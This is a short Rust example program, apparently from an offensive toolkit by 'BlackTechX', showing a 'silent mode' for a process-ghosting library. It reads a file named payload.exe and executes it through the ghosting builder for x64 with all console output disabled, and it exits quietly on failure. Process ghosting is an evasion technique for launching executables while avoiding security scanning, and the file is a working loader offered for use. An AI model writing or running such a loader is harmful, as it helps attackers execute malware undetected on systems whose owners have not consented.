silent_mode/silent_mode.rs
1//! Silent execution without console output
2//! Author: BlackTechX
3
4use process_ghosting::GhostingBuilder;
5
6fn main() {
7 // No init() call = no banner
8
9 let payload = match std::fs::read("payload.exe") {
10 Ok(p) => p,
11 Err(_) => {
12 // Silent failure - no output
13 std::process::exit(1);
14 }
15 };
16
17 // Silent execution - no output at all
18 let result = GhostingBuilder::new(&payload)
19 .x64()
20 .silent() // Disable all output
21 .execute();
22
23 // Exit with appropriate code
24 std::process::exit(if result.is_ok() { 0 } else { 1 });
25}